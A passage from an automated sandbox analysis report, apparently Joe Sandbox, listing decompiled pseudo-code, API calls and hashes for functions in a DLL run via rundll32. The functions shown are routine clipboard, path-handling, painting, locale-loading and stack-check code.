Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: cbfeed80bf2f127f4a103dbab11150c27a1c03719682fbb4dcd71a4d2f5693fa
Instruction ID: a2a140fe76b473dec4ee4893cb7179468322afeb3eda2f671136138513718034
Opcode Fuzzy Hash: cbfeed80bf2f127f4a103dbab11150c27a1c03719682fbb4dcd71a4d2f5693fa
Instruction Fuzzy Hash: 24C048B8208200BF9E04DB10C9A8C3BB7AAEBC9610F00C90EB88983300C630EC01DE22

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6EB465A0 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 163
clipboardwindowmemoryCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E6EB465A0(void* __ecx, void* __fp0) {
				int _v4;
				char _v8;
				char _v12;
				char _v16;
				signed char _v20;
				char _v24;
				signed char _v28;
				signed int _v32;
				intOrPtr _v36;
				void* _v40;
				intOrPtr _v44;
				signed int _t35;
				long _t40;
				intOrPtr* _t43;
				signed char _t48;
				int _t52;
				signed int** _t54;
				intOrPtr* _t55;
				void* _t63;
				char _t64;
				signed char _t70;
				signed char _t77;
				signed char _t83;
				struct HWND__* _t84;
				intOrPtr* _t92;
				signed int _t103;
				void* _t108;
				void* _t110;
				void* _t112;
				signed int _t119;
				intOrPtr* _t120;
				intOrPtr _t123;
				void* _t125;
				intOrPtr* _t129;
				void* _t136;

				_t136 = __fp0;
				_push(0xffffffff);
				_push(0x6eb786e0);
				_push( *[fs:0x0]);
				_t35 =  *0x6eb89470; // 0xc96cff66
				_push(_t35 ^ _t125 - 0x00000014);
				 *[fs:0x0] =  &_v12;
				_t110 = __ecx;
				_t70 = 0xff - SendMessageA( *(__ecx + 0x168), 0x400, 0, 0);
				_t40 = SendMessageA( *(_t110 + 0x270), 0x400, 0, 0);
				_t93 =  *(_t110 + 0x2f4);
				_v32 = 0xff - _t40;
				_t77 = 0xff - SendMessageA( *(_t110 + 0x2f4), 0x400, 0, 0);
				_v20 = _t77;
				_t119 = ((_t77 & 0x000000ff) << 0x00000008 | _v32 & 0x000000ff) << 0x00000008 | _t70 & 0x000000ff;
				_t43 = E6EB4838C();
				_t129 = _t43;
				_t80 = 0 | _t129 == 0x00000000;
				if(_t129 == 0) {
					_t43 = E6EB41000(_t80, _t93, 0x80004005);
				}
				_v28 =  *((intOrPtr*)( *((intOrPtr*)( *_t43 + 0xc))))() + 0x10;
				_push( &_v16);
				_v4 = 0;
				E6EB478D0( &_v24, _t136,  &_v24, _t119);
				_t83 = _v32;
				_t123 = _v44;
				_push(_t83);
				_push(_t123);
				_v16 = 1;
				_t48 = _v28;
				_push(_t70);
				_push(_t119);
				_push(_t48 >> 0x00000010 & 0x000000ff);
				_push(_t48 >> 0x00000008 & 0x000000ff);
				_push(_t48 & 0x000000ff);
				_push(_v36);
				_push(_t83);
				_push(_t123);
				E6EB415B0( &_v40, "RGB( %d, %d, %d );\t// similar to %s (whose exact value is RGB( %d, %d, %d )); COLORREF value is 0x%08X; web value is #%02X%02X%02X", _t70);
				_t84 =  *(_t110 + 0x20);
				_t52 = OpenClipboard(_t84);
				_t120 = _v40;
				if(_t52 != 0) {
					EmptyClipboard();
					_t112 = GlobalAlloc(0x2000,  *((intOrPtr*)(_t120 - 0xc)) + 1);
					_t63 = GlobalLock(_t112);
					_t92 = _t120;
					_t108 = _t63 - _t120;
					do {
						_t64 =  *_t92;
						 *((char*)(_t108 + _t92)) = _t64;
						_t92 = _t92 + 1;
					} while (_t64 != 0);
					GlobalUnlock(_t112);
					SetClipboardData(1, _t112);
					CloseClipboard();
				}
				_v8 = 0;
				_t54 = _v28 + 0xfffffff0;
				_t103 =  &(_t54[3]);
				asm("lock xadd [edx], ecx");
				if((_t84 | 0xffffffff) - 1 <= 0) {
					_t103 =  *( *_t54);
					 *((intOrPtr*)( *((intOrPtr*)(_t103 + 4))))(_t54);
				}
				_t55 = _t120 - 0x10;
				_v8 = 0xffffffff;
				asm("lock xadd [ecx], edx");
				if((_t103 | 0xffffffff) - 1 <= 0) {
					_t55 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_t55)) + 4))))(_t55);
				}
				 *[fs:0x0] = _v16;
				return _t55;
			}

0x6eb465a0
0x6eb465a0
0x6eb465a2
0x6eb465ad
0x6eb465b5
0x6eb465bc
0x6eb465c1
0x6eb465c7
0x6eb465f6
0x6eb465f8
0x6eb465fa
0x6eb46611
0x6eb4661c
0x6eb46629
0x6eb46635
0x6eb46637
0x6eb4663e
0x6eb46640
0x6eb46645
0x6eb4664c
0x6eb4664c
0x6eb4665d
0x6eb46665
0x6eb4666c
0x6eb46674
0x6eb46679
0x6eb4667d
0x6eb46681
0x6eb46682
0x6eb46683
0x6eb46688
0x6eb4668c
0x6eb46692
0x6eb46696
0x6eb4669f
0x6eb466a7
0x6eb466a8
0x6eb466a9
0x6eb466aa
0x6eb466b6
0x6eb466bb
0x6eb466c2
0x6eb466c8
0x6eb466ce
0x6eb466d0
0x6eb466e6
0x6eb466e9
0x6eb466f1
0x6eb466f3
0x6eb466f5
0x6eb466f5
0x6eb466f7
0x6eb466fa
0x6eb466fb
0x6eb46700
0x6eb46709
0x6eb4670f
0x6eb4670f
0x6eb46715
0x6eb4671e
0x6eb46721
0x6eb46727
0x6eb4672e
0x6eb46732
0x6eb46738
0x6eb46738
0x6eb4673a
0x6eb4673d
0x6eb4674b
0x6eb46752
0x6eb4675c
0x6eb4675c
0x6eb46762
0x6eb46771

APIs

SendMessageA.USER32 ref: 6EB465DF
SendMessageA.USER32 ref: 6EB465F8
SendMessageA.USER32 ref: 6EB46615
OpenClipboard.USER32(?), ref: 6EB466C2
EmptyClipboard.USER32(?,?,?,?,?,?,?,73FBB980,?), ref: 6EB466D0
GlobalAlloc.KERNEL32(00002000,?,?,?,?,?,?,?,?,73FBB980,?), ref: 6EB466E0
GlobalLock.KERNEL32 ref: 6EB466E9
GlobalUnlock.KERNEL32(00000000,?,?,?,?,?,?,?,73FBB980,?), ref: 6EB46700
SetClipboardData.USER32 ref: 6EB46709
CloseClipboard.USER32(?,?,?,?,?,?,?,73FBB980,?), ref: 6EB4670F

Strings

RGB( %d, %d, %d );// similar to %s (whose exact value is RGB( %d, %d, %d )); COLORREF value is 0x%08X; web value is #%02X%02X%02X, xrefs: 6EB466B0

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: Clipboard$GlobalMessageSend$AllocCloseDataEmptyLockOpenUnlock
String ID: RGB( %d, %d, %d );// similar to %s (whose exact value is RGB( %d, %d, %d )); COLORREF value is 0x%08X; web value is #%02X%02X%02X
API String ID: 2375529369-3278946217
Opcode ID: 167a9870bb98dd48d496ec76aa89eaaf90fcb3319635b2b8cc5a2d24dae6800b
Instruction ID: 7902fae6c8a57206b255ae0bc7c1d2bd65b7ac6b9d5cd5855e562e423e9c9c75
Opcode Fuzzy Hash: 167a9870bb98dd48d496ec76aa89eaaf90fcb3319635b2b8cc5a2d24dae6800b
Instruction Fuzzy Hash: 6C51BD71204651AFE714CB68CC84F6BBBE8EF89724F00472DF95597294DB74A801CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6EB57121 Relevance: 12.1, APIs: 8, Instructions: 125
filestringCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E6EB57121(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				CHAR* _t45;
				long _t46;
				CHAR* _t50;
				long _t55;
				void* _t57;
				int _t63;
				long _t73;
				void* _t86;
				void* _t89;
				CHAR* _t91;
				void* _t94;
				CHAR* _t99;
				CHAR* _t101;

				_t92 = __esi;
				_t89 = __edx;
				_push(0x158);
				E6EB66564(0x6eb77cb3, __ebx, __edi, __esi);
				_t91 =  *(_t94 + 8);
				_t45 =  *(_t94 + 0xc);
				_t73 =  *(_t94 + 0x10);
				_t99 = _t91;
				_t75 = 0 | _t99 != 0x00000000;
				 *(_t94 - 0x158) = _t45;
				_t100 = _t99 != 0;
				if(_t99 != 0) {
					L2:
					_t101 = _t45;
					_t75 = 0 | _t101 != 0x00000000;
					if(_t101 != 0) {
						goto L1;
					}
					_t77 = _t94 - 0x15c;
					_t46 = GetFullPathNameA(_t45, 0x104, _t91, _t94 - 0x15c);
					if(_t46 != 0) {
						__eflags = _t46 - 0x104;
						if(_t46 < 0x104) {
							E6EB413B0(_t94 - 0x154, _t89);
							 *(_t94 - 4) =  *(_t94 - 4) & 0x00000000;
							E6EB56F63(_t73, __eflags, _t91, _t94 - 0x154);
							_t50 = PathIsUNCA( *(_t94 - 0x154));
							__eflags = _t50;
							if(_t50 != 0) {
								L21:
								E6EB41020( &(( *(_t94 - 0x154))[0xfffffffffffffff0]), _t89);
								__eflags = 1;
								goto L22;
							}
							_t55 = GetVolumeInformationA( *(_t94 - 0x154), _t50, _t50, _t50, _t94 - 0x164, _t94 - 0x160, _t50, _t50);
							__eflags = _t55;
							if(_t55 != 0) {
								__eflags =  *(_t94 - 0x160) & 0x00000002;
								if(( *(_t94 - 0x160) & 0x00000002) == 0) {
									CharUpperA(_t91);
								}
								__eflags =  *(_t94 - 0x160) & 0x00000004;
								if(( *(_t94 - 0x160) & 0x00000004) == 0) {
									_t57 = FindFirstFileA( *(_t94 - 0x158), _t94 - 0x150);
									__eflags = _t57 - 0xffffffff;
									if(_t57 == 0xffffffff) {
										goto L21;
									}
									FindClose(_t57);
									__eflags =  *(_t94 - 0x15c);
									if( *(_t94 - 0x15c) == 0) {
										goto L11;
									}
									__eflags =  *(_t94 - 0x15c) - _t91;
									if( *(_t94 - 0x15c) <= _t91) {
										goto L11;
									}
									_t63 = lstrlenA(_t94 - 0x124);
									_t86 =  *(_t94 - 0x15c) - _t91;
									__eflags = _t63 + _t86 - 0x104;
									if(_t63 + _t86 >= 0x104) {
										__eflags = _t73;
										if(_t73 != 0) {
											 *((intOrPtr*)(_t73 + 8)) = 3;
											E6EB47A80(_t73 + 0x10, 0x104,  *(_t94 - 0x158));
										}
										L12:
										E6EB41020( &(( *(_t94 - 0x154))[0xfffffffffffffff0]), _t89);
										goto L5;
									}
									__eflags = 0x104;
									E6EB50574(_t73, _t89, _t91, 0x104,  *(_t94 - 0x15c), 0x104, _t94 - 0x124);
								}
								goto L21;
							}
							L11:
							E6EB570F2(_t73,  *(_t94 - 0x158));
							goto L12;
						}
						__eflags = _t73;
						if(_t73 != 0) {
							 *((intOrPtr*)(_t73 + 8)) = 3;
							E6EB47A80(_t73 + 0x10, 0x104,  *(_t94 - 0x158));
						}
						goto L5;
					} else {
						E6EB48C1B(_t73, _t77, _t91, 0x104, _t91, 0x104,  *(_t94 - 0x158), 0xffffffff);
						E6EB570F2(_t73,  *(_t94 - 0x158));
						L5:
						L22:
						return E6EB665E7(_t73, _t91, 0x104);
					}
				}
				L1:
				_t45 = E6EB48BA4(_t73, _t75, _t91, _t92, _t100);
				goto L2;
			}

0x6eb57121
0x6eb57121
0x6eb57121
0x6eb5712b
0x6eb57130
0x6eb57133
0x6eb57136
0x6eb5713b
0x6eb5713d
0x6eb57140
0x6eb57146
0x6eb57148
0x6eb5714f
0x6eb57151
0x6eb57153
0x6eb57158
0x00000000
0x00000000
0x6eb5715a
0x6eb57169
0x6eb57171
0x6eb57198
0x6eb5719a
0x6eb571bd
0x6eb571c2
0x6eb571ce
0x6eb571d9
0x6eb571df
0x6eb571e1
0x6eb572a5
0x6eb572ae
0x6eb572b5
0x00000000
0x6eb572b5
0x6eb57200
0x6eb57206
0x6eb57208
0x6eb57229
0x6eb57230
0x6eb57233
0x6eb57233
0x6eb57239
0x6eb57240
0x6eb5724f
0x6eb57255
0x6eb57258
0x00000000
0x00000000
0x6eb5725b
0x6eb57261
0x6eb57268
0x00000000
0x00000000
0x6eb5726a
0x6eb57270
0x00000000
0x00000000
0x6eb57279
0x6eb57285
0x6eb57289
0x6eb5728b
0x6eb572be
0x6eb572c0
0x6eb572cf
0x6eb572d6
0x6eb572d6
0x6eb57216
0x6eb5721f
0x00000000
0x6eb5721f
0x6eb57294
0x6eb5729d
0x6eb572a2
0x00000000
0x6eb57240
0x6eb5720a
0x6eb57211
0x00000000
0x6eb57211
0x6eb5719c
0x6eb5719e
0x6eb571a9
0x6eb571b0
0x6eb571b0
0x00000000
0x6eb57173
0x6eb5717d
0x6eb5718c
0x6eb57191
0x6eb572b6
0x6eb572bb
0x6eb572bb
0x6eb57171
0x6eb5714a
0x6eb5714a
0x00000000

APIs

__EH_prolog3_GS.LIBCMT ref: 6EB5712B
GetFullPathNameA.KERNEL32(00000000,00000104,00000000,?,00000158,6EB573CA,?,00000000,?), ref: 6EB57169

Part of subcall function 6EB48BA4: __CxxThrowException@8.LIBCMT ref: 6EB48BBA
Part of subcall function 6EB48BA4: __EH_prolog3.LIBCMT ref: 6EB48BC7

PathIsUNCA.SHLWAPI(?), ref: 6EB571D9
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,?,?,00000000,00000000), ref: 6EB57200
CharUpperA.USER32(00000000), ref: 6EB57233
FindFirstFileA.KERNEL32(?,?), ref: 6EB5724F
FindClose.KERNEL32(00000000), ref: 6EB5725B
lstrlenA.KERNEL32(?), ref: 6EB57279

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: FindPath$CharCloseException@8FileFirstFullH_prolog3H_prolog3_InformationNameThrowUpperVolumelstrlen
String ID:
API String ID: 624941980-0
Opcode ID: 4495e0e8f70e78f0744803b18282a905a76cd5268d477acb36b9209e63d45351
Instruction ID: 36336ff7fdf04cf777d9f11b6734abdf4e4bcf015c4c980d222af4cca0a93b60
Opcode Fuzzy Hash: 4495e0e8f70e78f0744803b18282a905a76cd5268d477acb36b9209e63d45351
Instruction Fuzzy Hash: F341B271A106A5DBDF118FA0CC58BEE7B78EF46315F0085A8E819A53C4DBB18AA4CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6EB46170 Relevance: 9.1, APIs: 6, Instructions: 81
windowCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E6EB46170(void* __ecx) {
				signed int _v8;
				signed int _v12;
				int _v100;
				char _v104;
				struct tagRECT _v120;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t17;
				int _t20;
				void* _t21;
				int _t25;
				int _t26;
				void* _t43;
				void* _t45;
				void* _t46;
				void* _t48;
				void* _t59;
				void* _t62;
				void* _t63;
				void* _t66;
				void* _t68;
				void* _t69;
				void* _t70;
				signed int _t71;
				signed int _t73;

				_t73 = (_t71 & 0xfffffff8) - 0x74;
				_t17 =  *0x6eb89470; // 0xc96cff66
				_v8 = _t17 ^ _t73;
				_push(_t45);
				_t68 = __ecx;
				_push(_t62);
				_t20 = IsIconic( *(__ecx + 0x20));
				_t74 = _t20;
				if(_t20 == 0) {
					_t21 = E6EB529E7(_t45, _t68, _t62, _t68, __eflags);
					_pop(_t63);
					_pop(_t69);
					_pop(_t46);
					__eflags = _v8 ^ _t73;
					return E6EB63DE0(_t21, _t46, _v8 ^ _t73, _t59, _t63, _t69);
				} else {
					E6EB49B33( &_v100, _t68, _t74);
					SendMessageA( *(_t68 + 0x20), 0x27, _v100, 0);
					_t25 = GetSystemMetrics(0xb);
					_t26 = GetSystemMetrics(0xc);
					GetClientRect( *(_t68 + 0x20),  &_v120);
					_t61 =  *(_t68 + 0x358);
					asm("cdq");
					asm("cdq");
					DrawIcon(_v100, _v120.right - _v120.left - _t25 + 1 -  *(_t68 + 0x358) >> 1, _v120.bottom - _v120.top - _t26 + 1 -  *(_t68 + 0x358) >> 1, _t61);
					_t43 = E6EB49B87(_t25,  &_v104, _t26, _t68, _t74);
					_t66 = _t68;
					_pop(_t70);
					_pop(_t48);
					return E6EB63DE0(_t43, _t48, _v12 ^ _t73, _t61, _t66, _t70);
				}
			}

0x6eb46176
0x6eb46179
0x6eb46180
0x6eb46184
0x6eb46186
0x6eb4618b
0x6eb4618d
0x6eb46193
0x6eb46195
0x6eb4622a
0x6eb46233
0x6eb46234
0x6eb46235
0x6eb46236
0x6eb46240
0x6eb4619b
0x6eb461a0
0x6eb461b2
0x6eb461c0
0x6eb461c6
0x6eb461d3
0x6eb461e1
0x6eb461eb
0x6eb461fc
0x6eb46207
0x6eb46211
0x6eb46216
0x6eb46217
0x6eb46218
0x6eb46227
0x6eb46227

APIs

IsIconic.USER32 ref: 6EB4618D

Part of subcall function 6EB49B33: __EH_prolog3.LIBCMT ref: 6EB49B3A
Part of subcall function 6EB49B33: BeginPaint.USER32(?,?,00000004,6EB529FE,?,00000058,6EB4622F), ref: 6EB49B66

SendMessageA.USER32 ref: 6EB461B2
GetSystemMetrics.USER32 ref: 6EB461C0
GetSystemMetrics.USER32 ref: 6EB461C6
GetClientRect.USER32 ref: 6EB461D3
DrawIcon.USER32 ref: 6EB46207

Part of subcall function 6EB49B87: __EH_prolog3.LIBCMT ref: 6EB49B8E
Part of subcall function 6EB49B87: EndPaint.USER32(?,?,00000004,6EB52A24,?,?,00000058,6EB4622F), ref: 6EB49BA9

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: H_prolog3MetricsPaintSystem$BeginClientDrawIconIconicMessageRectSend
String ID:
API String ID: 2914073315-0
Opcode ID: afa0ee16fda469f53ebc3896f8479b9e71e96fb4623a47ea770d7fad04455382
Instruction ID: c9737b6c66d3bf7971ff0fa27620c034e54d8284936ecfcdbc761125b54abaa6
Opcode Fuzzy Hash: afa0ee16fda469f53ebc3896f8479b9e71e96fb4623a47ea770d7fad04455382
Instruction Fuzzy Hash: 302190722146859FCB20DF78CC49D6FB7E9FBC9615F050A1DF58AC3290DA20E804CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6EB505A6 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73
libraryCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E6EB505A6(void* __ecx, void* __edx, void* __edi, int _a4) {
				signed int _v8;
				char _v284;
				char _v288;
				void* __ebx;
				void* __esi;
				signed int _t9;
				struct HINSTANCE__* _t13;
				intOrPtr* _t20;
				void* _t28;
				void* _t29;
				void* _t30;
				void* _t36;
				signed int _t37;
				void* _t39;
				void* _t40;
				signed int _t45;
				void* _t46;

				_t36 = __edi;
				_t35 = __edx;
				_t31 = __ecx;
				_t43 = _t45;
				_t46 = _t45 - 0x11c;
				_t9 =  *0x6eb89470; // 0xc96cff66
				_v8 = _t9 ^ _t45;
				_t49 = _a4 - 0x800;
				_t39 = __ecx;
				_t28 = __edx;
				if(_a4 != 0x800) {
					__eflags = GetLocaleInfoA(_a4, 3,  &_v288, 4);
					if(__eflags == 0) {
						goto L10;
					} else {
						goto L4;
					}
				} else {
					E6EB48BEF(__edx, _t31, __edi, _t39, E6EB671B0(__edx,  &_v288, 4, "LOC"));
					_t46 = _t46 + 0x10;
					L4:
					_push(_t36);
					_t37 =  *(E6EB66B6E(_t49));
					 *(E6EB66B6E(_t49)) =  *_t16 & 0x00000000;
					_push( &_v288);
					_t30 = E6EB66E7C( &_v284, 0x112, 0x111, _t39, _t28);
					_t20 = E6EB66B6E(_t49);
					_t50 =  *_t20;
					if( *_t20 == 0) {
						 *(E6EB66B6E(__eflags)) = _t37;
					} else {
						E6EB48EF7( *((intOrPtr*)(E6EB66B6E(_t50))));
					}
					_pop(_t36);
					if(_t30 == 0xffffffff || _t30 >= 0x112) {
						L10:
						_t13 = 0;
						__eflags = 0;
					} else {
						_t13 = LoadLibraryA( &_v284);
					}
				}
				_pop(_t40);
				_pop(_t29);
				return E6EB63DE0(_t13, _t29, _v8 ^ _t43, _t35, _t36, _t40);
			}

APIs

_strcpy_s.LIBCMT ref: 6EB505D8

Part of subcall function 6EB66B6E: __getptd_noexit.LIBCMT ref: 6EB66B6E

GetLocaleInfoA.KERNEL32(00000800,00000003,?,00000004), ref: 6EB505F0
__snwprintf_s.LIBCMT ref: 6EB50625
LoadLibraryA.KERNEL32(?), ref: 6EB50660

Strings

LOC, xrefs: 6EB505D0

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: InfoLibraryLoadLocale__getptd_noexit__snwprintf_s_strcpy_s
String ID: LOC
API String ID: 1155623865-519433814
Opcode ID: d315b2c234114cf7c5d63e7d3bb1ea3d026ae72c4afacf5ceda5baaee152a348
Instruction ID: 07245aaa97cca12b95279c1cc3f369480b597e6d9429b7ccf8167b08e1c9d5e3
Opcode Fuzzy Hash: d315b2c234114cf7c5d63e7d3bb1ea3d026ae72c4afacf5ceda5baaee152a348
Instruction Fuzzy Hash: 4021D57056428CAFDB50AFF4CC46FDD3FACEB56719F0004A2E20597290EB708952DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6EB63DE0 Relevance: 7.6, APIs: 5, Instructions: 58
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E6EB63DE0(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				long _t17;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t31;
				void* _t34;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_t6 = __eax;
				_t34 = _t22 -  *0x6eb89470; // 0xc96cff66
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x6eb8cb50 = _t6;
				 *0x6eb8cb4c = _t22;
				 *0x6eb8cb48 = _t25;
				 *0x6eb8cb44 = _t21;
				 *0x6eb8cb40 = _t27;
				 *0x6eb8cb3c = _t26;
				 *0x6eb8cb68 = ss;
				 *0x6eb8cb5c = cs;
				 *0x6eb8cb38 = ds;
				 *0x6eb8cb34 = es;
				 *0x6eb8cb30 = fs;
				 *0x6eb8cb2c = gs;
				asm("pushfd");
				_pop( *0x6eb8cb60);
				 *0x6eb8cb54 =  *_t31;
				 *0x6eb8cb58 = _v0;
				 *0x6eb8cb64 =  &_a4;
				 *0x6eb8caa0 = 0x10001;
				_t11 =  *0x6eb8cb58; // 0x0
				 *0x6eb8ca54 = _t11;
				 *0x6eb8ca48 = 0xc0000409;
				 *0x6eb8ca4c = 1;
				_t12 =  *0x6eb89470; // 0xc96cff66
				_v812 = _t12;
				_t13 =  *0x6eb89474; // 0x36930099
				_v808 = _t13;
				 *0x6eb8ca98 = IsDebuggerPresent();
				_push(1);
				E6EB70A52(_t14);
				SetUnhandledExceptionFilter(0);
				_t17 = UnhandledExceptionFilter(0x6eb7c734);
				if( *0x6eb8ca98 == 0) {
					_push(1);
					E6EB70A52(_t17);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

APIs

IsDebuggerPresent.KERNEL32 ref: 6EB685CA
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6EB685DF
UnhandledExceptionFilter.KERNEL32(6EB7C734), ref: 6EB685EA
GetCurrentProcess.KERNEL32(C0000409), ref: 6EB68606
TerminateProcess.KERNEL32(00000000), ref: 6EB6860D

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 3a808d24b0073a837386cee09f31aa85ea66ae66d4ae177a8798fbd74573f3cc
Instruction ID: 08c57250e530db419fef142d4a3a94ae90023b0f7562f2e1cf863e6003f7b92d
Opcode Fuzzy Hash: 3a808d24b0073a837386cee09f31aa85ea66ae66d4ae177a8798fbd74573f3cc
Instruction Fuzzy Hash: EE21E2F8411E48DFDF10DFA8E0856463BB4FB2B314F20521AE9098BB40E7719984CF86

Uniqueness

Uniqueness Score: -1.00%

Function 6EB4A1F1 Relevance: 4.5, APIs: 3, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E6EB4A1F1(struct HWND__* _a4, signed int _a8) {
				struct _WINDOWPLACEMENT _v48;
				int _t16;

				if(E6EB4A0A9() == 0) {
					if((_a8 & 0x00000003) == 0) {
						if(IsIconic(_a4) == 0) {
							_t16 = GetWindowRect(_a4,  &(_v48.rcNormalPosition));
						} else {
							_t16 = GetWindowPlacement(_a4,  &_v48);
						}
						if(_t16 == 0) {
							return 0;
						} else {
							return E6EB4A1A0( &(_v48.rcNormalPosition), _a8);
						}
					}
					return 0x12340042;
				}
				return  *0x6eb8c51c(_a4, _a8);
			}

0x6eb4a200
0x6eb4a214
0x6eb4a228
0x6eb4a240
0x6eb4a22a
0x6eb4a231
0x6eb4a231
0x6eb4a248
0x00000000
0x6eb4a24a
0x00000000
0x6eb4a251
0x6eb4a248
0x00000000
0x6eb4a216
0x00000000

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e0e9aa396d4c7a466c6cc954e7438d4e648ba10dba24ab8e78944ed607d1d99
Instruction ID: 884370970383b04a74d381ba7b010abacf125689a98fafda320f5e5a6c2c3099
Opcode Fuzzy Hash: 1e0e9aa396d4c7a466c6cc954e7438d4e648ba10dba24ab8e78944ed607d1d99
